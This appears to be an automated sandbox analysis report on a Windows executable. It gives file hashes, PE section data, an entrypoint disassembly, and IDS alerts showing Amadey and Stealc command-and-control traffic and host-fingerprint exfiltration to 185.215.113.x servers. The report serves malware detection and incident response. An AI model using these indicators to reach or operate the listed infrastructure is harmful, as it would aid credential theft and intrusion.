URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.RgRbaBHDctU.es5.O/ck=boq-identity.AccountsSignInUi.gAiX_O5afVA.L.B1.O/am=xIFgKBi2EQjEH54DekBRIOQAAAAAAAAAAKANAAB0DA/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFteMt5kl2HRMM5sgqzMrw2LMDjOg/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=byfTOb,lsjVmc,LEikZe"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{.var Aua=function(a,b){this.da=a;this.ea=b;if(!c){var c=new _.ap("//www.google.com/images/cleardot.gif");_.op(c)}this.ka=c};_.h=Aua.prototype;_.h.Zc=null;_.h.lZ=1E4;_.h.bA=!1;_.h.nQ=0;_.h.zJ=null;_.h.bV=null;_.h.setTimeout=function(a){this.lZ=a};_.h.start=function(){if(this.bA)throw Error("dc");this.bA=!0;this.nQ=0;Bua(this)};_.h.stop=function(){Cua(this);this.bA=!1};.var Bua=function(a){a.nQ++;navigator!==null&&"onLine"in navigator&&!navigator.onLine?_.km((0,_.bg)(a.aH,a,!1),0):(a.aa=new Image,a.aa.onload=(0,_.bg)(a.Fja,a),a.aa.onerror=(0,_.bg)(a.Eja,a),a.aa.onabort=(0,_.bg)(a.Dja,a),a.zJ=_.km(a.Gja,a.lZ,a),a.aa.src=String(a.ka))};_.h=Aua.prototype;_.h.Fja=function(){this.aH(!0)};_.h.Eja=function(){this.aH(!1)};_.h.Dja=function(){this.aH(!1)};_.h.Gja=function(){this.aH(!1)};._.h.aH=function(a){Cua(this);a?(this.bA=!1,this.da.call(this.ea,!0)):this.nQ<=0?Bua(this):(this.bA=!1,

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	84
Entropy (8bit):	4.875266466142591
Encrypted:	false
SSDEEP:	3:DZFJu0+WVTBCq2Bjdw2KsJJuYHSKnZ:lFJuuVTBudw29nu4SKZ
MD5:	87B6333E98B7620EA1FF98D1A837A39E
SHA1:	105DE6815B0885357DE1414BFC0D77FCC9E924EF
SHA-256:	DCD3C133C5C40BECD4100BBE6EDAE84C9735E778E4234A5E8395C56FF8A733BA
SHA-512:	867D7943D813685FAA76394E53199750C55817E836FD19C933F74D11E9657CE66719A6D6B2E39EE1DE62358BCE364E38A55F4E138DF92337DE6985DDCD5D0994
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgmA6QC9dWevzxIFDRkBE_oSBQ3oIX6GEgUN05ioBw==?alt=proto
Preview:	Cj0KBw0ZARP6GgAKKQ3oIX6GGgQISxgCKhwIClIYCg5AIS4jJF8qLSY/Ky8lLBABGP////8PCgcN05ioBxoA

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949934930928149
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'888'256 bytes
MD5:	32533c2b9cc9015b81db22713868ec75
SHA1:	c87d45e06163f8d7f8b7a31f62b9f38008609b3f
SHA256:	1a6fc3b2bda9a9615ec0f20492bd75257b41581e9ccef8d2c04f26642d985632
SHA512:	9344248432571a4405f1aa970de84a01c8564a1e1a718f2f8567bd01171e44e8d970e60fd80d87b5f4df9818a41282cd499025c49234c438a0a74cadfb4f7366
SSDEEP:	49152:wT+87BgP3cJilbppzcYIhR88Uz5T4ft2qSUYGmSV:M+QO3pTGHJO5T4ftx6SV
TLSH:	879533879CA00031F94BAF73699FAAA1B31483EB9215E12AF357C7DB4467F94F04941E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F81E8D4C4BAh
stmxcsr dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F81E8D4E4B5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b0420	0x10	idnhyhrx
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b03d0	0x18	idnhyhrx
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	d72d67925a8c7e233e3aac5f29982973	False	0.9981533123297003	data	7.981221481975643	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	19b3d114e7367b0cab00d5283bf0bfeb	False	0.576171875	data	4.537230890679474	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2aa000	0x200	be9f844139ecc99798133dcaab56ace9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
idnhyhrx	0x315000	0x19c000	0x19b600	7f728d8d7d0b45f214de58983b59e865	False	0.9948421120100274	data	7.954153539867948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ditjojwi	0x4b1000	0x1000	0x400	31ab34765d91893b2120882f15583bf8	False	0.8173828125	data	6.2781192406724555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b2000	0x3000	0x2200	f978a57e5fea0c94372f3cbbb6ebcb02	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4b0430	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T03:27:04.970524+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49734	185.215.113.43	80	TCP
2024-10-03T03:27:08.015699+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49736	185.215.113.103	80	TCP
2024-10-03T03:27:11.144468+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49735	TCP
2024-10-03T03:27:11.841427+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49737	185.215.113.43	80	TCP
2024-10-03T03:27:12.570722+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49738	185.215.113.103	80	TCP
2024-10-03T03:27:17.118070+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49749	185.215.113.43	80	TCP
2024-10-03T03:27:17.333175+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49748	185.215.113.37	80	TCP
2024-10-03T03:27:20.814519+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49759	185.215.113.43	80	TCP
2024-10-03T03:27:34.060986+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49777	185.215.113.37	80	TCP
2024-10-03T03:27:50.247856+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49785	185.215.113.37	80	TCP
2024-10-03T03:28:49.223428+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49813	TCP
2024-10-03T03:28:49.936371+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49815	185.215.113.43	80	TCP
2024-10-03T03:28:52.383148+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49817	185.215.113.37	80	TCP
2024-10-03T03:28:53.604992+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49818	185.215.113.43	80	TCP
2024-10-03T03:28:56.328388+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49819	185.215.113.43	80	TCP
2024-10-03T03:29:09.892420+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49836	185.215.113.37	80	TCP
2024-10-03T03:29:27.059340+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49867	185.215.113.37	80	TCP
2024-10-03T03:33:01.444427+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	64682	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 03:26:06.028220892 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:26:06.028228045 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:26:06.153256893 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:26:06.595201969 CEST	49720	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:06.595232964 CEST	443	49720	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:06.595290899 CEST	49720	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:06.595985889 CEST	49720	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:06.596000910 CEST	443	49720	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:07.423665047 CEST	443	49720	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:07.423784971 CEST	49720	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:07.429644108 CEST	49720	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:07.429672003 CEST	443	49720	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:07.430109024 CEST	443	49720	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:07.431370974 CEST	49720	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:07.431478024 CEST	49720	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:07.431497097 CEST	443	49720	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:07.431849957 CEST	49720	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:07.479407072 CEST	443	49720	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:07.610399961 CEST	443	49720	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:07.610570908 CEST	443	49720	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:07.610913038 CEST	49720	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:07.611475945 CEST	49720	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:07.611475945 CEST	49720	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:07.611553907 CEST	443	49720	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:11.300349951 CEST	49723	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:11.300405979 CEST	443	49723	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:11.300468922 CEST	49723	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:11.301054001 CEST	49723	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:11.301090002 CEST	443	49723	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:11.516024113 CEST	49724	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:11.516048908 CEST	443	49724	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:11.516719103 CEST	49724	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:11.517374039 CEST	49724	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:11.517395020 CEST	443	49724	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.128639936 CEST	443	49723	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.128732920 CEST	49723	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.131136894 CEST	49723	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.131151915 CEST	443	49723	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.131520033 CEST	443	49723	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.133697987 CEST	49723	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.133780956 CEST	49723	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.133788109 CEST	443	49723	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.134079933 CEST	49723	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.175440073 CEST	443	49723	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.301536083 CEST	443	49724	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.301661015 CEST	49724	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.304306030 CEST	49724	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.304317951 CEST	443	49724	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.304567099 CEST	443	49724	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.306583881 CEST	49724	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.306794882 CEST	49724	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.306807041 CEST	443	49724	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.306952000 CEST	49724	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.312040091 CEST	443	49723	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.312134981 CEST	443	49723	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.312211990 CEST	49723	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.312449932 CEST	49723	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.312474966 CEST	443	49723	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.347402096 CEST	443	49724	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.481141090 CEST	443	49724	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.481370926 CEST	443	49724	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:12.481637001 CEST	49724	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.481637001 CEST	49724	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.794008017 CEST	49724	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:12.794043064 CEST	443	49724	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:15.637650967 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:26:15.637651920 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:26:15.762556076 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:26:18.376470089 CEST	443	49711	23.1.237.91	192.168.2.5
Oct 3, 2024 03:26:18.376708984 CEST	49711	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:26:20.925765991 CEST	49725	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:20.925820112 CEST	443	49725	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:20.925973892 CEST	49725	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:20.926493883 CEST	49725	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:20.926512957 CEST	443	49725	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:21.751977921 CEST	443	49725	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:21.752079010 CEST	49725	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:21.753829956 CEST	49725	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:21.753844976 CEST	443	49725	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:21.754606009 CEST	443	49725	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:21.756122112 CEST	49725	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:21.756186962 CEST	49725	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:21.756192923 CEST	443	49725	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:21.756304979 CEST	49725	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:21.803433895 CEST	443	49725	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:21.933103085 CEST	443	49725	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:21.933203936 CEST	443	49725	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:21.933283091 CEST	49725	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:21.933495998 CEST	49725	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:21.933518887 CEST	443	49725	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:24.335813046 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:24.335877895 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:24.335956097 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:24.338186979 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:24.338206053 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:24.672234058 CEST	49727	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:24.672296047 CEST	443	49727	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:24.672388077 CEST	49727	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:24.672955036 CEST	49727	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:24.672977924 CEST	443	49727	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:24.936949015 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:24.937098980 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:24.938539028 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:24.938560009 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:24.939065933 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:24.981286049 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:25.016591072 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:25.059410095 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.209142923 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.209209919 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.209240913 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.209284067 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.209295988 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:25.209331036 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.209368944 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.209403992 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:25.209403992 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:25.209445953 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.209465027 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:25.209481001 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.209527969 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:25.209553003 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:25.209567070 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.209698915 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.209769964 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:25.228579998 CEST	49726	443	192.168.2.5	20.12.23.50
Oct 3, 2024 03:26:25.228629112 CEST	443	49726	20.12.23.50	192.168.2.5
Oct 3, 2024 03:26:25.455569029 CEST	443	49727	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:25.455672979 CEST	49727	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:25.458117962 CEST	49727	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:25.458127022 CEST	443	49727	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:25.459033012 CEST	443	49727	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:25.460633039 CEST	49727	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:25.460673094 CEST	49727	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:25.460679054 CEST	443	49727	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:25.460817099 CEST	49727	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:25.507407904 CEST	443	49727	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:25.631795883 CEST	443	49727	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:25.631932020 CEST	443	49727	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:25.632050991 CEST	49727	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:25.632472992 CEST	49727	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:25.632493973 CEST	443	49727	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:38.282007933 CEST	49728	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:38.282043934 CEST	443	49728	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:38.282134056 CEST	49728	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:38.282646894 CEST	49728	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:38.282659054 CEST	443	49728	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:38.286613941 CEST	49729	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:38.286655903 CEST	443	49729	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:38.286727905 CEST	49729	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:38.287359953 CEST	49729	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:38.287378073 CEST	443	49729	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:39.090699911 CEST	443	49729	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:39.090773106 CEST	49729	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:39.092572927 CEST	49729	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:39.092582941 CEST	443	49729	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:39.092817068 CEST	443	49729	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:39.094558954 CEST	49729	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:39.094604015 CEST	49729	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:39.094609976 CEST	443	49729	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:39.094703913 CEST	49729	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:39.139405966 CEST	443	49729	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:39.180932999 CEST	443	49728	40.115.3.253	192.168.2.5
Oct 3, 2024 03:26:39.181240082 CEST	49728	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:26:39.182693958 CEST	49728	443	192.168.2.5	40.115.3.253
